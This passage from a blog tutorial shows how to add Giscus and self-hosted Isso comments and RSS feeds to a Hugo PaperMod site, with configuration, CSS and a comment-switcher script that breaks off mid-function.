</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">mapping</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;pathname&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">strict</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">reactions</span><span style="color:#f92672">-</span><span style="color:#a6e22e">enabled</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">emit</span><span style="color:#f92672">-</span><span style="color:#a6e22e">metadata</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">input</span><span style="color:#f92672">-</span><span style="color:#a6e22e">position</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;bottom&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">theme</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;preferred_color_scheme&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data</span><span style="color:#f92672">-</span><span style="color:#a6e22e">loading</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;lazy&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">crossorigin</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;anonymous&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">async</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">noscript</span>&gt;Enable JavaScript to view comments powered by Giscus.&lt;/<span style="color:#f92672">noscript</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">section</span>&gt;
</span></span></code></pre></div><p><strong>Notes</strong></p>
<ul>
<li>You’ll get <code>repo-id</code> and <code>category-id</code> from <strong>giscus.app</strong> after picking your repo + category.</li>
<li><code>data-mapping=&quot;pathname&quot;</code> works great for static sites.</li>
<li>Prefer a <strong>public</strong> repo so visitors can read discussions without friction.</li>
<li>Want a different language? Change <code>data-lang</code> (e.g., <code>de</code>, <code>fr</code>).</li>
</ul>
<hr>
<h2 id="2-enable-rss-home--sections">2) Enable RSS (home + sections)</h2>
<p>Hugo already knows how to generate feeds; we just tell it where.</p>
<p><code>hugo.toml</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">&#34;https://example.com/&#34;</span>  <span style="color:#75715e"># set your production URL</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">outputs</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">home</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>, <span style="color:#e6db74">&#34;JSON&#34;</span>]     <span style="color:#75715e"># JSON is optional (e.g., for on-site search)</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">section</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">taxonomy</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">term</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">services</span>.<span style="color:#a6e22e">rss</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">limit</span> = <span style="color:#ae81ff">-1</span>   <span style="color:#75715e"># -1 = no cap; or set e.g. 20</span>
</span></span></code></pre></div><p><strong>Feed URLs</strong></p>
<ul>
<li>Home feed: <code>/index.xml</code> → <code>https://example.com/index.xml</code></li>
<li>Section feeds: <code>/posts/index.xml</code>, <code>/notes/index.xml</code>, etc. (folders are lowercase)</li>
</ul>
<blockquote>
<p>If you’re using a <code>.onion</code> address or staging domain, just set that in <code>baseURL</code>.<br>
Locally, Hugo serves feeds at <code>http://localhost:1313/index.xml</code>.</p></blockquote>
<hr>
<h2 id="3-show-an-rss-button-on-the-home-page">3) Show an RSS button on the home page</h2>
<p>PaperMod shows a nice RSS icon on <strong>section/taxonomy</strong> lists by default (when enabled), but not on the home page. Two options:</p>
<h3 id="option-a--use-the-home-social-icons-row">Option A — Use the home “social icons” row</h3>
<p>This appears if you enable <strong>Home-Info</strong> or <strong>Profile</strong> mode:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">homeInfoParams</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Title</span> = <span style="color:#e6db74">&#34;Hello, internet!&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Content</span> = <span style="color:#e6db74">&#34;Notes, experiments, and occasional rabbit holes.&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[[<span style="color:#a6e22e">params</span>.<span style="color:#a6e22e">socialIcons</span>]]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">name</span> = <span style="color:#e6db74">&#34;rss&#34;</span>        <span style="color:#75715e"># lowercase matters</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">url</span>  = <span style="color:#e6db74">&#34;/index.xml&#34;</span>
</span></span></code></pre></div><h3 id="option-b--add-an-icon-in-the-footer-theme-safe">Option B — Add an icon in the footer (theme-safe)</h3>
<p>Create:</p>
<pre tabindex="0"><code>layouts/partials/extend_footer.html
</code></pre><p>Paste:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/index.xml&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;alternate&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;application/rss+xml&#34;</span> <span style="color:#a6e22e">title</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;RSS&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;rss-link&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  {{ partial &#34;svg.html&#34; (dict &#34;name&#34; &#34;rss&#34;) }}
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">span</span>&gt;RSS&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">a</span>&gt;
</span></span></code></pre></div><p>Make it a sensible size:</p>
<p>Create:</p>
<pre tabindex="0"><code>assets/css/extended/rss.css
</code></pre><p>Paste:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span><span style="color:#75715e">/* Small &amp; aligned RSS icon in the footer */</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> { <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">inline-flex</span>; <span style="color:#66d9ef">align-items</span>: <span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">gap</span>: <span style="color:#ae81ff">.35</span><span style="color:#66d9ef">rem</span>; }
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> <span style="color:#f92672">svg</span> { <span style="color:#66d9ef">margin-left</span>: <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span>; <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">18</span><span style="color:#66d9ef">px</span>; <span style="color:#66d9ef">height</span>: <span style="color:#ae81ff">18</span><span style="color:#66d9ef">px</span>; } <span style="color:#75715e">/* a bit of left margin for good measure!*/</span>
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">rss-link</span> <span style="color:#f92672">span</span> { <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">.95</span><span style="color:#66d9ef">rem</span>; }
</span></span></code></pre></div><p>PaperMod auto-bundles anything under <code>assets/css/extended/</code>, so no extra imports needed.</p>
<hr>
<h2 id="4-verify-everything">4) Verify everything</h2>
<p>Build or run dev:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hugo           <span style="color:#75715e"># outputs to ./public</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># or</span>
</span></span><span style="display:flex;"><span>hugo server    <span style="color:#75715e"># serves at http://localhost:1313</span>
</span></span></code></pre></div><p>Check feeds:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Home feed:</span>
</span></span><span style="display:flex;"><span>curl -s http://localhost:1313/index.xml | head
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># A section feed (adjust path to your section name):</span>
</span></span><span style="display:flex;"><span>curl -s http://localhost:1313/posts/index.xml | head
</span></span></code></pre></div><p>Check comments:</p>
<ol>
<li>Open any post locally.</li>
<li>Scroll to the bottom — Giscus should appear.</li>
<li>Try a reaction or comment (you’ll be prompted to sign in with GitHub).</li>
</ol>
<hr>
<h2 id="5-per-post-controls-handy-later">5) Per-post controls (handy later)</h2>
<p>Turn comments off for a single post:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># in that post’s front matter</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">false</span>
</span></span></code></pre></div><p>Full content in RSS (global):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ShowFullTextinRSS</span> = <span style="color:#66d9ef">true</span>
</span></span></code></pre></div><p>Show RSS buttons on section/taxonomy lists:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ShowRssButtonInSectionTermList</span> = <span style="color:#66d9ef">true</span>
</span></span></code></pre></div><hr>
<h2 id="6-troubleshooting-aka-what-i-bumped-into">6) Troubleshooting (aka “what I bumped into”)</h2>
<ul>
<li>
<p><strong>Home page has no RSS icon</strong><br>
That’s expected; either enable Home-Info/Profile mode + <code>socialIcons</code>, or use the footer partial.</p>
</li>
<li>
<p><strong>Section feed 404</strong><br>
Folder names are lowercase (<code>content/posts/</code>, not <code>content/Posts/</code>).<br>
The URL mirrors that: <code>/posts/index.xml</code>.</p>
</li>
<li>
<p><strong>Giscus doesn’t create a discussion</strong><br>
Double-check the four attributes: <code>data-repo</code>, <code>data-repo-id</code>, <code>data-category</code>, <code>data-category-id</code>.<br>
Make sure Discussions is enabled and the Giscus app is installed for the repo.</p>
</li>
<li>
<p><strong>Icon is comically large</strong><br>
Keep the CSS above; 16–20px usually looks right.</p>
</li>
</ul>
<hr>
<h2 id="7-bonus-fast-setup-via-github-cli-optional-i-didnt-use-it-but-i-shouldve-perhaps">7) Bonus: fast setup via GitHub CLI (optional, I didn&rsquo;t use it, but I should&rsquo;ve perhaps)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Create the public comments repo (adjust names)</span>
</span></span><span style="display:flex;"><span>gh repo create yourname/blog-comments --public -d <span style="color:#e6db74">&#34;Blog comment threads&#34;</span> --confirm
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable Discussions for it</span>
</span></span><span style="display:flex;"><span>gh repo edit yourname/blog-comments --enable-discussions
</span></span></code></pre></div><p>Then visit <strong>giscus.app</strong>, select the repo + category (e.g. “Comments”), and copy the generated IDs into <code>layouts/partials/comments.html</code>.</p>
<hr>
<h3 id="final-config-snapshot-condensed">Final config snapshot (condensed)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">&#34;https://example.com/&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">theme</span> = <span style="color:#e6db74">&#34;PaperMod&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">outputs</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">home</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>, <span style="color:#e6db74">&#34;JSON&#34;</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">section</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">taxonomy</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">term</span> = [<span style="color:#e6db74">&#34;HTML&#34;</span>, <span style="color:#e6db74">&#34;RSS&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">services</span>.<span style="color:#a6e22e">rss</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">limit</span> = <span style="color:#ae81ff">-1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ShowRssButtonInSectionTermList</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ShowFullTextinRSS</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Optional if using Home-Info/Profile mode:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># [[params.socialIcons]]</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#   name = &#34;rss&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#   url  = &#34;/index.xml&#34;</span>
</span></span></code></pre></div><hr>
<h1 id="appendix--why-i-added-isso-how-i-wired-it-and-what-i-fixed">Appendix — Why I added Isso, how I wired it, and what I fixed</h1>
<h2 id="the-story-why-isso--why-i-still-keep-giscus">The story (why Isso + why I still keep Giscus)</h2>
<p>I wanted comments that:</p>
<ul>
<li>allow <strong>anonymous</strong> replies (no GitHub account required),</li>
<li>are <strong>lightweight</strong> and <strong>self-hosted</strong>, and</li>
<li>can work on my <strong>Tor <code>.onion</code> mirror</strong>.</li>
</ul>
<p><strong>Isso</strong> checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of <strong>Giscus</strong> (comments are GitHub Discussions), so I kept both and added a little switcher UI: <strong>“Anonymous (Isso)”</strong> or <strong>“GitHub (Giscus)”</strong>.</p>
<p>Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).</p>
<h2 id="how-i-run-it-high-level">How I run it (high-level)</h2>
<ul>
<li><strong>Site:</strong> Hugo + PaperMod</li>
<li><strong>Isso:</strong> listening on <code>127.0.0.1:8080</code>, stored locally (SQLite)</li>
<li><strong>Nginx:</strong> reverse-proxies <strong><code>/isso/</code></strong> to Isso on both the clearnet and the <code>.onion</code> vhost</li>
<li><strong>Hugo partial:</strong> renders the two panels (Isso &amp; Giscus) and a switcher; Giscus is <strong>lazy-loaded</strong> and <strong>auto-rethemed</strong> with the site theme</li>
</ul>
<blockquote>
<p>I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the <strong>Nginx proxying</strong> and the <strong>Hugo partial</strong>.</p></blockquote>
<h2 id="hugo-partial-switcher--embeds">Hugo partial: switcher + embeds</h2>
<p>Save as <code>layouts/partials/comments.html</code> and include it in your single layout (e.g. <code>layouts/_default/single.html</code>) with <code>{{ partial &quot;comments.html&quot; . }}</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- comments.html --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;comments-switch&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:flex;gap:.5rem;margin:.5rem 0 1rem;&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn-isso&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;button&#34;</span> <span style="color:#a6e22e">aria-pressed</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;true&#34;</span>&gt;Anonymous (Isso)&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn-giscus&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;button&#34;</span> <span style="color:#a6e22e">aria-pressed</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;false&#34;</span>&gt;GitHub (Giscus)&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://github.com/AlipourIm/blog-comments/discussions/categories/comments&#34;</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;_blank&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;noopener&#34;</span>&gt;Open on GitHub ↗&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- Isso panel (default) --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;panel-isso&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;isso-thread&#34;</span>&gt;&lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">script</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/isso/js/embed.min.js&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-isso</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/isso&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-isso-css</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;true&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-isso-lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-isso-max-comments-nested</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;5&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-isso-sorting</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;newest&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">async</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">small</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;isso-powered&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:block;margin:.5rem 0;color:var(--secondary,#888)&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    Comments powered by &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://isso-comments.de&#34;</span> <span style="color:#a6e22e">target</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;_blank&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;noopener&#34;</span>&gt;Isso&lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">small</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- Giscus panel (lazy-loaded on click) --&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;panel-giscus&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:none&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;giscus-thread&#34;</span>&gt;&lt;/<span style="color:#f92672">section</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">function</span> () {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">panelIsso</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;panel-isso&#39;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">panelGisc</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;panel-giscus&#39;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">issoBtn</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;btn-isso&#39;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">giscBtn</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;btn-giscus&#39;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">gLoaded</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">isDark</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 1) explicit PaperMod preference
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">pref</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">localStorage</span>.<span style="color:#a6e22e">getItem</span>(<span style="color:#e6db74">&#39;pref-theme&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pref</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;dark&#39;</span>)  <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pref</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;light&#39;</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 2) page state (classes / data-theme)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">H</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">documentElement</span>, <span style="color:#a6e22e">B</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">body</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">hasDark</span> <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">&#39;dark&#39;</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">&#39;dark&#39;</span>) <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">dataset</span>.<span style="color:#a6e22e">theme</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;dark&#39;</span>    <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">dataset</span>.<span style="color:#a6e22e">theme</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;dark&#39;</span> <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">H</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">&#39;theme-dark&#39;</span>) <span style="color:#f92672">||</span> <span style="color:#a6e22e">B</span>.<span style="color:#a6e22e">classList</span>.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">&#39;theme-dark&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">hasDark</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 3) OS preference
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">return</span> window.<span style="color:#a6e22e">matchMedia</span> <span style="color:#f92672">&amp;&amp;</span> window.<span style="color:#a6e22e">matchMedia</span>(<span style="color:#e6db74">&#39;(prefers-color-scheme: dark)&#39;</span>).<span style="color:#a6e22e">matches</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">gTheme</span> <span style="color:#f92672">=</span> () =&gt; (<span style="color:#a6e22e">isDark</span>() <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;dark_dimmed&#39;</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;noborder_light&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">loadGiscus</span>() {
